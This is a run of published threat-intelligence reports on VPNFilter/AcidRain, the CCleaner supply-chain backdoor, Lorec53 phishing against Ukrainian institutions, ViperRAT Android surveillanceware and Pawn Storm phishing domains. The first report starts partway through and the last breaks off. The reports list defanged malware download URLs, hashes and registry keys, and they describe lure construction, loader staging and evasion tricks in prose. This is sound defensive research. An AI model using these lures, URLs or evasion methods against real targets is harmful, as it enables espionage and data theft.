VPNFilter Stage 3 Plugin  dstr SHA256 47f521bd6be19f823bfd3a72d851d6f3440a6c4cc3d940190bdc9b6dd53a83d6 SHA1 261d012caa96d3e3b059a98388f743fb8d39fbd5 MD5 20ea405d79b4de1b90de54a442952a45 Description VPNFilter Stage 3, dstr module Magic ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped First Seen 2018-06-06 13:02:56 UTC After the initial discovery of VPNFilter, additional plugins were revealed by researchers attempting to understand the massive spread of the botnet and its many intricacies.
Among these were previously unknown plugins, including dstr.
As the mangled name suggests, its a destruction module meant to supplement stage 2 plugins that lacked the kill command meant to wipe the devices.
This plugin was brought to our attention initially by tlsh fuzzy hashing, a more recent matching library thats proven far more effective than ssdeep or imphash in identifying similar samples.
The similarity was at 55 to AcidRain with no other samples being flagged in the VT corpus.
This alone is not nearly enough to conclusively judge the two samples as tied, but it did warrant further investigation.
VPNFilter and AcidRain are both notably similar and dissimilar.
Theyre both MIPS ELF binaries and the bulk of their shared code appears to stem from statically-linked libc.
It appears that they may also share a compiler, most clearly evidenced by the identical Section Headers Strings Tables.
https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html https://github.com/trendmicro/tlsh 10/12 Section Headers Strings Tables for VPNFilter and AcidRain And there are other development quirks, such as the storing of the previous syscall number to a global location before a new syscall.
At this time, we cant judge whether this is a shared compiler optimization or a strange developer quirk.
More notably, while VPNFilter and AcidRain work in very different ways, both binaries make use of the MEMGETINFO, MEMUNLOCK, and MEMERASE IOCTLS to erase mtd device files.
On the left, AcidRain on the right, VPNFilter There are also notable differences between VPNFilters dstr plugin and AcidRain.
The latter appears to be a far sloppier product that doesnt consistently rise to the coding standards of the former.
For example, note the redundant use of process forking and needless repetition 11/12 of operations.
They also appear to serve different purposes, with the VPNFilter plugin targeting specific devices with hardcoded paths, and AcidRain taking more of a one-binary-fits-all approach to wiping devices.
By brute forcing device filenames, the attackers can more readily reuse AcidRain against more diverse targets.
We invite the research community to stress test this developmental overlap and contribute their own findings.
Conclusions As we consider whats possibly the most important cyber attack in the ongoing Russian invasion of Ukraine, there are many open questions.
Despite Viasats statement claiming that there was no supply-chain attack or use of malicious code on the affected routers, we posit the more plausible hypothesis that the attackers deployed AcidRain (and perhaps other binaries and scripts) to these devices in order to conduct their operation.
While we cannot definitively tie AcidRain to VPNFilter (or the larger Sandworm threat cluster), we note a medium-confidence assessment of non-trivial developmental similarities between their components and hope the research community will continue to contribute their findings in the spirit of collaboration that has permeated the threat intelligence industry over the past month.
References https://www.wired.com/story/viasat-internet-hack-ukraine-russia/ https://www.cisa.gov/uscert/ncas/alerts/aa22-076a https://media.defense.gov/2022/Jan/25/2002927101/-1/-1/0/CSA_PROTECTING_VSAT_ COMMUNICATIONS_01252022.PDF https://www.airforcemag.com/hackers-attacked-satellite-terminals-through-management- network-viasat-officials-say/ https://nps.edu/documents/104517539/104522593/RELIEF12-4_QLR.pdf/9cc03d09-9af4- 410e-b601-a8bffdae0c30 https://www.reuters.com/business/media-telecom/exclusive-hackers-who-crippled-viasat- modems-ukraine-are-still-active-company-2022-03-30/ https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/ https://blog.talosintelligence.com/2018/05/VPNFilter.html https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m1 https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf https://www.trendmicro.com/en_us/research/21/a/vpnfilter-two-years-later-routers-still- compromised-.html https://www.cisa.gov/uscert/ncas/alerts/aa22-054a https://www.wired.com/story/viasat-internet-hack-ukraine-russia/ https://www.cisa.gov/uscert/ncas/alerts/aa22-076a https://media.defense.gov/2022/Jan/25/2002927101/-1/-1/0/CSA_PROTECTING_VSAT_COMMUNICATIONS_01252022.PDF https://www.airforcemag.com/hackers-attacked-satellite-terminals-through-management-network-viasat-officials-say/ https://nps.edu/documents/104517539/104522593/RELIEF12-4_QLR.pdf/9cc03d09-9af4-410e-b601-a8bffdae0c30 https://www.reuters.com/business/media-telecom/exclusive-hackers-who-crippled-viasat-modems-ukraine-are-still-active-company-2022-03-30/ https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/ https://blog.talosintelligence.com/2018/05/VPNFilter.html https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m1 https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf https://www.trendmicro.com/en_us/research/21/a/vpnfilter-two-years-later-routers-still-compromised-.html https://www.cisa.gov/uscert/ncas/alerts/aa22-054a 12/12
10/2/2017 Evidence Aurora Operation Still Active Part 2: More Ties Uncovered Between CCleaner Hack  Chinese Hackers intezer.com /evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese- hackers/ Since my last post, we have found new evidence in the next stage payloads of the CCleaner supply chain attack that provide a stronger link between this attack and the Axiom group.
First of all, our researchers would like to thank the entire team at Cisco Talos for their excellent work on this attack (their post regarding stage 2 can be found here) as well as their cooperation by allowing us access to the stage 2 payload.
Also, we would like to give a special thanks to Kaspersky Labs for their collaboration.
The Next Connection Starting from the stage 2 payload, I reverse engineered the module, extracting other hidden shellcode and binaries within.
After uploading the different binaries to Intezer Analyze, the final payload (that I have access to) had a match with a binary relating to the Axiom group.
1/17 http://www.intezer.com/evidence-aurora-operation-still-active-part-2-more-ties-uncovered-between-ccleaner-hack-chinese-hackers/ http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/ http://blog.talosintelligence.com/2017/09/ccleaner-c2-concern.html http://www.intezer.com/intezer-analyze/ At first glance, I believed it was going to be the same custom base64 function as mentioned in my previous blog post.
A deeper look in the shared code proved otherwise.
Binary in screenshot: f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a Related APT17 samples: 07f93e49c7015b68e2542fc591ad2b4a1bc01349f79d48db67c53938ad4b525d 0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2 20cd49fd0f244944a8f5ba1d7656af3026e67d170133c1b3546c8b2de38d4f27 ee362a8161bd442073775363bf5fa1305abac2ce39b903d63df0d7121ba60550 2/17 http://www.intezer.com/wp-content/uploads/2017/10/ccleaner_pt2.png http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/ Not only did the first payload have shared code between the Axiom group and CCBkdr, but the second did as well.
The above photo shows the same function between two binaries.
Let me put this into better context for you: out of all the billions and billions of pieces of code (both trusted and malicious) contained in the Intezer Code Genome Database, we found this code in only these APTs .
It is also worth noting that this isnt a standard method one would use to call an API.
The attacker used the simple technique of employing an array to hide a string from being in clear sight of those analyzing the binary (although to those who are more experienced, it is obvious) and remain undetected from antivirus signatures.
The author probably copied and pasted the code, which is what often happens to avoid duplicative efforts: rewriting the same code for the same functionality twice.
Due to the uniqueness of the shared code, we strongly concluded that the code was written by the same attacker.
3/17 http://www.intezer.com/wp-content/uploads/2017/10/image2.jpg Technical Analysis: The stage two payload that was analyzed in this report (dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83), after launching the infected version of CCleaner, was dropped to only a selective group of targets, as reported by Talos.
Although there is an x64 version, the following analysis will only include the x86 version because they are nearly identical.
I will not be going too far in depth as full comprehension of the technical analysis will require an understanding of reverse engineering.
Instead of using the typical API (VirtualAlloc) to allocate memory, the attackers allocated memory on the heap using LocalAlloc, and then copied a compressed payload to the allocated memory.
4/17 It looks like the attackers used version 1.1.4 of zlib to decompress the payload into this allocated memory region.
5/17 Depending on if youre running x86 or x64 Windows, it will drop a different module.
(
32-bit 07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902, 64-bit 128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f) Both modules are actually legitimate software with additional code and a modified execution flow.
6/17 The last modified time on the modules is changed to match that of the msvcrt.dll that is located in your system32 foldera technique to stay under the radar by not being able to check last modified files.
7/17 Some shellcode and another module are written to the registry.
8/17 9/17 After the module is successfully dropped, a service is created under the name Spooler or SessionEnv, depending upon your environment, which then loads the newly dropped module.
The new module being run by the service allocates memory, reads the registry where the other payload is located, and then copies it to memory.
10/17 11/17 The next payload is executed, which decrypts another module and loads it.
If we look at the memory of the next decrypted payload, we can see something that looks like a PE header without the MZ signature.
From here, it is as simple as modifying the first two bytes to represent MZ and we have a valid PE file.
(
f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a) 12/17 The next module is a essentially another backdoor that connects to a few domains before revealing the true IP, it will connect to for the next stage payload.
13/17 It starts by ensuring it receives the correct response from https://www.microsoft.com and https://update.microsoft.com.
14/17 https://www.microsoft.com/ https://update.micrsoft.com/ The malware proceeds to decrypt two more URLs.
The malware authors used steganography to store the IP address in a ptoken field of the HTML.
Here you can see the GitHub page with the ptoken field.
15/17 The value is then XOR decrypted by 0x31415926 which gives you 0x5A093B0D or the IP address: 13.59.9.90 Conclusion: The complexity and quality of this particular attack has led our team to conclude that it was most likely state- sponsored.
Considering this new evidence, the malware can be attributed to the Axiom group due to both the nature of the attack itself and the specific code reuse throughout that our technology was able to uncover.
IOCs: Stage 2 Payload: dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83 x86 Trojanized Binary: 07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902 x86 Registry Payload: f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a x64 Trojanized Binary: 128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f 16/17 x64 Registry Payload: 75eaa1889dbc93f11544cf3e40e3b9342b81b1678af5d83026496ee6a1b2ef79 Registry Keys: HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\001 HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\002 HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\003 HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\004 HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\HBP About Intezer: Through its DNA mapping approach to code, Intezer provides enterprises with unparalleled threat detection that accelerates incident response and eliminates false positives, while protecting against fileless malware, APTs, code tampering and vulnerable software.
Curious to learn whats next for Intezer?
Join us on our journey toward achieving these endeavors here on the blog or request a community free edition invite By Jay Rosenberg Jay Rosenberg is a self-taught reverse engineer from a very young age (12 years old), specializing in Reverse Engineering and Malware Analysis.
Currently working as a Senior Security Researcher in Intezer.
17/17 https://intezer.viewpage.co/free-community-edition Evidence Aurora Operation Still Active Part 2: More Ties Uncovered Between CCleaner Hack  Chinese Hackers The Next Connection Technical Analysis: Conclusion: IOCs: About Intezer:
1/12 Fuying Lab APT group Lorec53 (Lori Bear) recently launched a large- scale cyber attack on Ukraine blog.nsfocus.net/apt-lorec53-20220216 1.
Summary of the event Recently, NSFOCUS Fuying Lab has captured a large number of phishing file attacks against Ukraine, and the associated malicious files include pdf, doc, cpl, lnk and other types.
After analysis, we confirmed that this series of fishing activities came from the APT organization Lorec53 (Chinese name: Lori Xiong).
During the period from the end of 2021 to February 2022, the organization used a variety of attack methods to deliver a variety of phishing documents to key state institutions such as the Ministry of Defense, Ministry of Finance, embassies, state-owned enterprises, and public medical facilities of Ukraine to collect organizational Personnel information-based network attack activities.
2.
Organizational Background Lorec53 (Chinese name: Lori Xiong) is a new type of APT organization first identified and named by NSFOCUS Fuying Laboratory, active in Eastern Europe.
The Ukrainian Computer Emergency Response Center identified the organization as UAC-0056 in a recent report (https://cert.gov.ua/article/18419).
Fuying Lab found that the groups captureable spy Trojans first appeared in 2020, and began to organize large-scale cyber espionage attacks against Ukraine and Georgia in early 2021.
Lorec53 exposed a large number of Russian hacker characteristics in terms of attack tools, domain name registration information, asset location, etc.,
and its attack targets are also closely related to Russias national interests.
A study of Lorec53s development trajectory found that the organization was suspected of being employed by other high-level espionage organizations to gain revenue by undertaking state-level espionage attacks or selling confidential government documents.
Lorec53 has strong infiltration ability and changeable attack methods.
It can organize large-scale and high-density phishing attacks.
It is also good at learning from other organizations social engineering technology and network resource management methods.
At present, the victims affected by the Lorec53 attack include users of the National Bank of Iran, Georgias Epidemic Prevention and Health Department, Ukraines Ministry of Defense, the Presidential Office, the Ministry of the Interior, and the Border Guard.
For more reports related to the organization, please refer to the analysis report of Fuying Lab on the organization (http://blog.nsfocus.net/lorec-53/, http://blog.nsfocus.net/lorec53-nsfocus/ , http://blog.nsfocus.net/apt-lorec/) 3.
Overview of events http://blog.nsfocus.net/apt-lorec53-20220216/ 2/12 Lorec53s current round of attacks lasted for a long time, with a wide range of targets, and the attack methods had obvious organizational characteristics.
Lorec53 continued the previous decoy design methods in this round of attacks, constructing phishing including Ukrainian government documents that mask some information, shortcut files with Ukrainian titles and camouflaged extensions, and cpl files with Ukrainian file names.
bait, and distribute these bait masquerading as a member of a credible organization.
bait name translate  7  2021   () According to the decision of the National Security and Defense Council of Ukraine of September 7, 2021 On the modification of special economic and other restrictions on individuals (sanctions) crime report  12-01-2022 Complain to the court orderer 12-01-2022   Petition to return property to Ukrainian citizen   The example of filling in the description text is filled in manually   ,  Clarify the correctness of electronic medical records in the electronic health system, and the impact of the law Table 3.1 Some fishing lures names and translations In this series of phishing attacks, Lorec53 attackers mainly used three domain names, 3237.site, stun.site, and eumr.site, as download servers for various phishing files.
The site domain is one of the commonly used domains of Lorec53.
As of February 11, some URLs are still accessible and can deliver payload files, indicating that this round of attacks is still ongoing.
In this series of attacks, Lorec53 directly wrote the collected mailboxes of key Ukrainian facilities into the decoy text.
Judging from Lorec53s past behavior, such an operation may be used to increase the credibility of the bait.
This feature also provides a basis for investigators to confirm the attack coverage.
This time, Lorec53 still uses known Trojan programs, including LorecDocStealer (also known as OutSteel), LorecCPL, SaintBot, and packaged these Trojan programs as much as possible.
4.
Event Analysis 3/12 4.1 Attack event one First from phishing attacks occurred in late 2021, Lorec53 constructed a lot to 7  2021 ()  the title of the fishing documentation.
The contents of these phishing documents refer to a presidential decree adopted by the National Security and Defense Council of Ukraine on September 7, 2021, claiming that special asset restrictions and sanctions will be imposed on a specific person.
Figure 4.1 Phishing document titled Restrictions (sanctions) on modification of personal special economics According to the relevant decrees of Ukraine, the Ukrainian Security Service, the Cabinet and other state departments can modify the document Restriction Measures (Sanctions) for Individual Special Economics and Others to add or delete specific economic sanctions.
In the amendment on September 7, the economic sanctions object numbered 85 was added.
It should be noted that the content of the phishing file is roughly the same as the content of the attachment in the presidential decree published by the Ukrainian government (https://zakon.rada.gov.ua/laws/show/n0062525-21Text), but the Lorec53 attacker The following changes have been made to the text: 1.
The use of asterisks obscures specific citizen information This is Lorec53s usual practice when building phishing documents, in this way to lure victims to enable the editing function of the document, and then run the macro code in the document 4/12 2.
Added email addresses that do not exist in the original text The Lorec53 attacker added government email addresses to the original citizen information without fuzzing.
After query, the DMYTROTSANukr.net address in the sample fishing email does not matter, but point to the Ukrainian Wolin Treasury ( ).
The above two changes indicate that the target of Lorec53s phishing operation is the Ukrainian government, and the email address in the phishing email is likely to be the same as the victims email address.
Fuying Lab counted the mailbox information in all captured phishing emails to evaluate the impact of this Lorec53 phishing attack.
5/12 Mail Corresponding institution or enterprise dmytrotsanukr.net Ministry of Finance of Volin Oblast, Ukraine emb_smmfa.gov.ua Embassy of Ukraine in Serbia kev_dnipropost.mil.gov.ua Ministry of Housing and Operations of Dnipro Oblast, Ukraine zorkzmil.gov.ua Joint Operations Command of the Armed Forces of Ukraine office.skdvsks.treasury.gov.ua Ministry of Finance, Skadovsk District, Kherson Oblast, Ukraine sadovska-iiutg.ua UKRTRANSGAZ AG ufg.cscufg.com.ua Ukrainian Financial Group pokrovske_tckspdppost.mil.gov.ua Staffing and Social Support Center of the Third Sector, Sinernikivsky District, Dnipropetrovsk Oblast, Ukraine zmievkaznaukr.net Ministry of Finance, Zmiv District, Kharkiv Region, Ukraine kuzmychnaftogaz.com Ukrainian Naftogaz Joint Stock Company zvernmouukr.net Department of Civil Work and Access to Public Information of the Ministry of Defense of Ukraine perevodpivdenny.ua Pivdennyi Bank kevzppost.mil.gov.ua Press and Information Department of the Ministry of Defense of Ukraine i.kozarovskaukrburgas.com.ua UkrGasVydobuvannya JSC Branch Ukrburgaz kanivkamvoukr.net Department of Education, Executive Committee, Kanif City Council, Cherkassy Region t.litovkodirekcy.atom.gov.ua VP KB ATOMPRILAD DP NAEK ENERGOATOM timm93ukr.net Ministry of Finance of Vasilevka, Zaporozhye Oblast, Ukraine office.chervlv.treasury.gov.ua Ministry of Finance of Chervonohrad, Lviv Oblast, Ukraine kevplt_kespost.mil.gov.ua babich-kautg.ua UKRTRANSGAZ AG kevplt_zhytlopost.mil.gov.ua 6/12 corruptiondirekcy.atom.gov.ua Ukrainian state-owned enterprise NNEGC Energoatom emb_jpmfa.gov.ua Embassy of Ukraine in Japan genotdelodessa.gov.ua Odessa Oblast Administration of Ukraine zoya_sklukr.net Ministry of Finance, Oleshandrivka District, Kirovolad Oblast, Ukraine ruslan.maruniabank.gov.ua Department of Currency Circulation, National Bank of Ukraine malyshev.tenderukroboronprom.com Maleshev Plant emb_plmfa.gov.ua Embassy of Ukraine in Poland irudksui.ua Ministry of Finance, Irshava District, Zakarpatia Region, Ukraine emb_ltmfa.gov.ua Embassy of Ukraine in Lithuania emb_fimfa.gov.ua Embassy of Ukraine in Finland abashinaokv.treasury.gov.ua Ministry of Finance of Kiev, Ukraine 1545ukc.gov.ua Ukrainian Government Hotline 1545 tetiana.rupchevabank.gov.ua Monetary Policy and Market Operations Department of the National Bank of Ukraine pratom.gov.ua Ukrainian state-owned enterprise NNEGC Energoatom 1201_buhgdmsu.gov.ua Dnipropetrovsk Oblast Immigration Office of Ukraine kherson_kevpost.mil.gov.ua Ministry of Housing and Operations of Kherson Oblast, Ukraine sholyak27ukr.net Ministry of Finance of the Transcarpathian State of Ukraine officenovator-tm.com Ukrainian state-owned enterprise Novator mpsindustrialbank.ua AKB Industrialbank PAT v.harchenkomil.gov.ua Table 4.1 Email addresses and corresponding organizations in phishing emails The associated information of these email addresses shows that the main goal of Lorec53 in this phishing attack is early detection and information collection, which is the same as the organizations previous activities.
7/12 The malicious macro in these phishing documents will download and run the Trojan at http[:]//3237[.
]site/test01.exe.
Also associated with this domain is a phishing shortcut file named .lnk (a special file of the Ukrainian Security Service.lnk), and a known Lorec53 Trojan named 08-2021.cpl LorecCPL, so The direct correlation of this domain name to Lorec53 can be confirmed.
Figure 4.2 The main logic part of the LorecCPL Trojan A malicious shortcut file named   .lnk was also used by Lorec53 in several attacks.
Lorec53 constructs named sadovska-iiutg.ua.zip, feukslpost.mil.gov.ua.zip, n.lashevychdirekcy.atom.gov.ua.zip, feukslpost.mil.gov.ua.
zip, etc.,
and put this malicious shortcut file in the same folder as a large number of non-toxic decoy files, expecting the victim to run the malicious file while browsing file by file.
This baiting method also fits with Lorec53s historical approach.
8/12 Figure 4.3 Decoy zip file directory, red is the malicious shortcut file From the name of the compressed package, it can be seen that the target of this attack is similar to and partially overlapped with the aforementioned personal economic sanctions phishing document, which can be speculated to be the same series of attacks.
4.2 Attack event 2 Another phishing attack occurred between December 2021 and February 2022.
In early February, Lorec53 produced a series of phishing documents with the theme of (criminal report), which were delivered in the form of pdf vulnerability files and docx malicious macro files.
The phishing document named    .pdf (criminal report.pdf) displayed the words please update when opened.
9/12 Figure 4.4 Phishing document titled Crime Report This is the commonly used pdf decoy construction method for Lorec53, the file is used to download the link https[:]//get.adobe.com.uk.reader.updateadobeacrobatreaderdc.stun[.
]site/get.adobe.com.uk.reader/ Trojan programs corresponding to get.adobe.com.uk.reader/get.adobe.com.uk.reader/AdobeAcrobatUpdate.exe.
The trojan is a packaged LorecDocStealer (also known as OutSteel) trojan, which is used to steal various document files on the victims host.
The shell wrapping technique used by Lorec53 on this Trojan is very common in AgentTesla spyware.
A similar phishing document     ( ).docx was opened to display images and textual information with obvious Lorec53 lure build characteristics.
10/12 Figure 4.5 Phishing document titled Crime Report (Belous Alexei Sergeevich) The document is disguised as a document of the investigation department of the Ukrainian National Police.
By blocking the image and red prompt information, it induces the victim to click the icon ole object in the document, and then execute the js script, download and run https[:]//cdn.discordapp[.]
Trojan in com/attachments/932413459872747544/938291977735266344/putty.exe.
The Trojan is also the packaged LorecDocStealer (OutSteel) Trojan.
11/12 With reference to the aforementioned attack incident, the unobfuscated email address o.bilousukrtransnafta.com in this document may be the email address of the direct victims of this incident.
The affiliate company of this mailbox is UKRTRANSNAFT Joint Stock Company of Ukraine.
In addition, the docx phishing document was also captured and published by the Ukrainian Computer Emergency Response Center (CERT-UA).
In related reports (https://cert.gov.ua/article/18419), CERT-UA referred to the Lorec53 organization as the UAC- 0056.
Through correlation analysis of the stun.site domain name that appeared in this attack, Fuying Lab confirmed a variety of decoy files released by Lorec53 from December 2021.
These files include .lnk, .cpl, .rar and other formats, all of which are known decoy forms of Lorec53.
The main function is to obtain and run the subsequent LorecDocStealer (OutSteel) Trojan from stun.site.
4.3 Attack event 3 The third attack incident mainly revolved around the domain name eumr[.
]site.
In early 2, Lorec53 structure called ,     (electronic medical system to clarify the validity of electronic medical records, as well as the impact of the law) bait , delivered in the form of a zip archive.
Based on the name of the decoy, it can be speculated that the file comes from an attack campaign against the Ukrainian medical system, which overlaps with previous Lorec53 targets.
The malicious shortcut file in the compressed package is a typical Lorec53 phishing lure, used to download and run the Trojan program located at http[:]//eumr[.
]site/up74987340.exe, which is the LorecDocStealer (OutSteel) spy Trojan.
The file properties show that these decoy files were modified on January 31, 2022.
The domain names and CnC communication addresses that appeared in this incident can be linked to a number of other malicious programs, which are various forms of wrappers for the LorecDocStealer (OutSteel) spyware.
V. Summary The multiple attacks discovered this time are all part of the large-scale cyber attack activities carried out by Lorec53 (Lori Bear) in different time periods from the end of 2021 to February 2022 against Ukrainian government departments, the military, and state-owned enterprises.
The main targets of these attacks are still early detection and information collection, and they show the distinctive characteristics of Lorec53 at various stages.
The phishing lures captured this time show that Lorec53 has indeed inherited the organizations mercenary hacking characteristics when operating a national-level cyber attack campaign.
Lorec53 will batch-produce and regularly adjust the content of phishing bait, with flexible download server 12/12 addresses and CnC addresses, to indiscriminately harass and attack the exposed mailboxes of key Ukrainian institutions.
This large-scale attack idea is similar to Lorec53s early operation idea as an email botnet operator.
With the changes in the situation in Eastern Europe, the activity of cyber espionage activities against Ukraine has increased significantly recently, and Fuying Lab will continue to pay attention to the progress of the activities of the Lorec53 organization.
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ViperRAT: The mobile APT targeting the Israeli Defense Force that should be on your radar blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/ February 16, 2017 By Michael Flossman, Security Researcher ViperRAT is an active, advanced persistent threat (APT) that sophisticated threat actors are actively using to target and spy on the Israeli Defense Force.
The threat actors behind the ViperRAT surveillanceware collect a significant amount of sensitive information off of the device, and seem most interested in exfiltrating images and audio content.
The attackers are also hijacking the device camera to take pictures.
Using data collected from the Lookout global sensor network, the Lookout research team was able to gain unique visibility into the ViperRAT malware, including 11 new, unreported applications.
We also discovered and analyzed live, misconfigured malicious command and control servers (C2), from which we were able to identify how the attacker gets new, infected apps to secretly install and the types of activities they are monitoring.
In addition, we uncovered the IMEIs of the targeted individuals (IMEIs will not be shared publicly for the privacy and safety of the victims) as well as the types of exfiltrated content.
In aggregate, the type of information stolen could let an attacker know where a person is, with whom they are associated (including contacts profile photos), the messages they are sending, the websites they visit and search history, screenshots that reveal data from other apps on the device, the conversations they have in the presence of the device, and a myriad of images including anything at which devices camera is pointed.
Lookout has determined ViperRAT is a very sophisticated threat that adds to the mounting evidence that targeted mobile attacks against governments and business is a real problem.
Lookout researchers have been tracking this threat for the last month.
Given that this is an active threat, weve been working behind-the-scenes with our customers to ensure both personal and enterprise customers are protected from this threat and only decided to come forward with this information after the research team at Kaspersky released a report earlier today.
Additionally, we have determined that though original reports of this story attribute this surveillanceware tool to Hamas, this may not be the case, as we demonstrate below.
The increasing sophistication of surveillanceware The structure of the surveillanceware indicates it is very sophisticated.
Analysis indicates there are currently two distinct variants of ViperRAT.
The first variant is a first stage application, that performs basic profiling of a device, and under certain conditions attempts to download and install a much more comprehensive surveillanceware 1/7 https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/ https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/ https://www.lookout.com/info/enterprise-contact-us component, which is the second variant.
The first variant involves social engineering the target into downloading a trojanized app.
Previous reports alleged this surveillanceware tool was deployed using honey traps where the actor behind it would reach out to targets via fake social media profiles of young women.
After building an initial rapport with targets, the actors behind these social media accounts would instruct victims to install an additional app for easier communication.
Specifically, Lookout determined these were trojanized versions of the apps SR Chat and YeeCall Pro.
We also uncovered ViperRAT in a billiards game, an Israeli Love Songs player, and a Move To iOS app.
2/7 The second stage The second stage apps contain the surveillanceware capabilities.
Lookout uncovered nine secondary payload applications: 3/7 These apps have not been previously reported and were discovered using data from the Lookout global sensor network, which collects app and device information from over 100 million sensors to provide researchers and customers with a holistic look at the mobile threat ecosystem today.
Naming additional payload applications as system updates is a clever technique used by malware authors to trick victims into believing a threat isnt present on their device.
ViperRAT takes this one step further by using its dropper app to identify an appropriate second stage update that may go unnoticed.
For example, if a victim has Viber on their device, it will choose to retrieve the Viber Update second stage.
If he doesnt have Viber, the generically-named System Updates app gets downloaded and installed instead.
What was taken The actors behind ViperRAT seem to be particularly interested in image data.
We were able to identify that 8,929 files had been exfiltrated from compromised devices and that the overwhelming majority of these, 97 percent, were highly likely encrypted images taken using the device camera.
We also observed automatically generated files on the C2, indicating the actor behind this campaign also issues commands to search for and exfiltrate PDF and Office documents.
This should be highly alarming to any government agency or enterprise.
4/7 We observed legitimate exfiltrated files of the following types of data: Contact information Compressed recorded audio in the Adaptive Multi-Rate (amr) file format Images captured from the device camera Images stored on both internal device and SDCard storage that are listed in the MediaStore Device geolocation information SMS content Chrome browser search history and bookmarks Call log information Cell tower information Device network metadata such as phone number, device software version, network country, network operator, SIM country, SIM operator, SIM serial, IMSI, voice mail number, phone type, network type, data state, data activity, call state, SIM state, whether device is roaming, and if SMS is supported.
Standard browser search history Standard browser bookmarks Device handset metadata such as brand, display, hardware, manufacturer, product, serial, radio version, and SDK.
Command and control API calls ViperRAT samples are capable of communicating to C2 servers through an exposed API as well as websockets.
Below is a collection of API methods and a brief description around their purpose.
5/7 On attribution Media reporting on ViperRAT thus far attributes this surveillanceware tool to Hamas.
Israeli media published the first 6/7 reports about the social networking and social engineering aspects of this campaign.
However its unclear whether organizations that later reported on ViperRAT performed their own independent research or simply based their content on the original Israeli report.
Hamas is not widely known for having a sophisticated mobile capability, which makes it unlikely they are directly responsible for ViperRAT.
ViperRAT has been operational for quite some time, with what appears to be a test application that surfaced in late 2015.
Many of the default strings in this application are in Arabic, including the name.
It is unclear whether this means early samples were targeting Arabic speakers or if the developers behind it are fluent in Arabic.
This leads us to believe this is another actor.
What this means for you All Lookout customers are protected from this threat.
However, the existence of threats like ViperRAT and Pegasus, the most sophisticated piece of mobile surveillanceware weve seen to date, are evidence that attackers are targeting mobile devices.
7/7 https://blog.lookout.com/blog/2016/08/25/trident-pegasus/ ViperRAT: The mobile APT targeting the Israeli Defense Force that should be on your radar The increasing sophistication of surveillanceware The second stage What was taken Command and control API calls On attribution What this means for you
Appendix Looking Into a Cyber-Attack Facilitator in the Netherlands Appendix TrendLabs Security Intelligence Blog April 2016 Trend Micro  Looking Into a Cyber-Attack Facilitator in the Netherlands TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only.
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Trend Micro  Looking Into a Cyber-Attack Facilitator in the Netherlands 3 Related URLs: Date IP address Domain Actor Description Apr- 2016 185.117.
[xx].20 catholicsinaliance.org Pawn Storm Exploit used in targeted attacks 131.72.
[xxx].204 localiser-icloud.com unknown Apple ID phishing 131.72.
[xxx].174 inside-apple-localisation.com unknown Apple ID phishing 131.72.
[xxx].174 inside-localisation-apple.com unknown Apple ID phishing Mar- 2016 185.141.
[xx].191 account-web.de unknown German freemail phishing 185.82.
[xxx].108 securityicloudservice.com unknown Apple ID phishing 185.45.
[xxx].218 bestapplestore.com unknown Apple ID phishing 185.117.
[xx].154 wsjworld.com Pawn Storm Exploit used in targeted attacks 185.117.
[xx].154 worldpoliticsreviews.com Pawn Storm Exploit used in targeted attacks 185.117.
[xx].5 mailhost.university-tartu.info Pawn Storm Credential phishing against Estonian university 185.82.
[xxx].146 mail.armf.bg.message- id8665213.tk Pawn Storm Credential phishing against Bulgarian army 131.72.
[xxx].123 loqin-yandex.ru Pawn Storm Credential phishing against Russian domestic targets 131.72.
[xxx].137 setting-mail.ru Pawn Storm Credential phishing against Russian domestic targets Feb- 2016 185.130.
[x].72 play.gooqle.eu.com unknown Banking malware targeting Russia 131.72.
[xxx].200 eposta.basbakanlik.qov.web.tr Pawn Storm Credential phishing against Turkish government 131.72.
[xxx].154 poczta.mon-gov.pl Pawn Storm Credential phishing against Polish government 185.117.
[xx].147 yahoo.securepassword.info Pawn Storm US freemail phishing 131.72.
[xxx].114 posta-hurriyet.com Pawn Storm Credential phishing against Turkish media 131.72.
[xxx].200  tbmm.qov.web.tr Pawn Storm Credential phishing against Turkish government 185.106.
[xxx].251 mailhost-ut.ee Pawn Storm Credential phishing against Estonian university 131.72.
[xxx].55  privacy-facebook.me Pawn Storm Credential phishing against Facebook users 131.72.
[xxx].114 mail-hurriyet.com Pawn Storm Credential phishing against Turkish media Trend Micro  Looking Into a Cyber-Attack Facilitator in the Netherlands 4 Date IP address Domain Actor Description 131.72.
